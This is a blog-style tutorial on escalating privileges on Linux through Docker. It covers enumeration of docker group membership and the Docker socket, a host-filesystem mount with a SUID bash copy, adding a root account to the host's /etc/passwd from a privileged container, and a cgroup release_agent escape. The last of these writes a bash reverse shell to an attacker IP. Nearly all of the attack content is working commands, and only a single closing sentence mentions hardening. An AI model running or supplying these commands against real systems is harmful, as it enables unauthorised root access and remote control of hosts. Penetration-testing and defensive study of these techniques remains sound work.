Information Security 25 min read

How to Exploit Docker for Linux Privilege Escalation – A Step‑by‑Step Guide

This article walks through Docker privilege escalation techniques on Linux, covering Docker basics, permission discovery, manual and automated enumeration with LinPEAS, and three practical breakout scenarios—including abusing Docker group rights, escaping privileged containers, and breaking out of non‑privileged containers using SUID binaries and release_agent attacks.

Raymond Ops
Raymond Ops
Raymond Ops
How to Exploit Docker for Linux Privilege Escalation – A Step‑by‑Step Guide

0. Introduction

We explore how to gain root privileges on a target Linux host by abusing Docker containers, reviewing three distinct breakout scenarios that each lead to a host‑level root shell.

1. What is Docker?

Docker is an open platform that packages applications into lightweight, isolated containers. Containers run with a client‑server architecture where the Docker daemon (dockerd) performs heavy lifting, typically as root.

Containers are lightweight and contain everything needed to run an application.

Key points for attackers:

Containers usually run as root.

The Docker daemon runs as root.

The

--privileged

flag gives a container almost all host capabilities.

Members of the docker group effectively have root access to the Docker service.

2. Finding Docker Permissions

Assume we have a foothold as a regular user

dawker

on the target host.

2.1 Upgrade Shell to a Full TTY

<code>python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -
echo
fg
export TERM=xterm</code>

A full TTY enables command history, tab completion, and terminal clearing.

2.2 Enumerate Users in the Docker Group

<code>whoami; id</code>

Output shows the current user belongs to the docker group.

<code>for user in $(cat /etc/passwd | awk -F: '{print $1}'); do echo "$user"; id "$user"; done | grep -B 1 "docker"</code>

This reveals other users (e.g.,

devops

) also in the Docker group.

2.3 Enumerate Docker Service

<code>find / -name docker.sock 2>/dev/null</code>
<code>ls -l /run/docker.sock</code>

The socket is writable by the Docker group, allowing interaction with the Docker daemon.

<code>ps -ef | grep -i "docker"</code>

The daemon runs as root, confirming that Docker commands can affect the host with root privileges.

2.4 Enumerate Docker Images and Default Users

<code>docker images</code>

We see an

alpine

image available.

<code>docker run --rm -it alpine sh -c "whoami"</code>

The container runs as root by default.

2.5 Automated Enumeration with LinPEAS

Running LinPEAS on the host shows the current user is in the Docker group, the Docker daemon is owned by root, and the Docker socket is writable.

3. Scenario 1 – Abuse Docker Group Permissions

Since the user is in the Docker group, we can leverage

docker run

to mount the host filesystem and obtain a root shell.

<code>docker run -v /:/mnt --rm -it alpine chroot /mnt sh</code>

After mounting, we can see the host’s directory structure.

<code>cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p</code>

Creating a SUID bash binary on the host allows us to spawn a privileged root shell.

4. Scenario 2 – Break Out of a Privileged Container

First confirm we are inside a container:

<code>ls -la /</code>
<code>cat /proc/1/cgroup</code>

Check for the

--privileged

flag by inspecting device listings and seccomp status:

<code>fdisk -l | grep -A 10 "device"
cat /proc/1/status | grep -i "seccomp"</code>

In a privileged container, we can mount the host filesystem directly:

<code>df -h
mkdir -p /mnt/juggernaut
mount /dev/sda5 /mnt/juggernaut</code>

After mounting, we add a new root user by editing

/etc/passwd

on the host:

<code>openssl passwd -1 -salt r00t password123
echo 'r00t:$1$r00t$HZoYdo0F7UZbuKrEXMcah0:0:0:/dev/shm/pwnt:/bin/bash' >> /mnt/juggernaut/etc/passwd</code>

Then SSH into the host as the newly created root user.

<code>ssh [email protected]</code>

5. Scenario 3 – Escape a Non‑Privileged Container

Confirm the container is non‑privileged (no device access, seccomp values 2 and 1, minimal

/dev

entries).

Check for useful capabilities:

<code>capsh --print</code>

We find CAP_SYS_ADMIN enabled and AppArmor not loaded, satisfying conditions for the “release_agent breakout 2” exploit.

<code>mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/breakout" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /breakout
echo 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> /breakout
chmod a+x /breakout
nc -nvlp 443
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
</code>

Executing the payload triggers the release_agent, delivering a reverse shell to the attacker.

Conclusion

By enumerating Docker permissions, leveraging group membership, and exploiting container capabilities, attackers can achieve host‑level root access through multiple vectors, highlighting the critical need for strict Docker daemon hardening and proper capability management.

DockerLinuxContainer SecurityPrivilege EscalationLinPEASRoot Shell
Raymond Ops
Written by

Raymond Ops

Linux ops automation, cloud-native, Kubernetes, SRE, DevOps, Python, Golang and related tech discussions.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.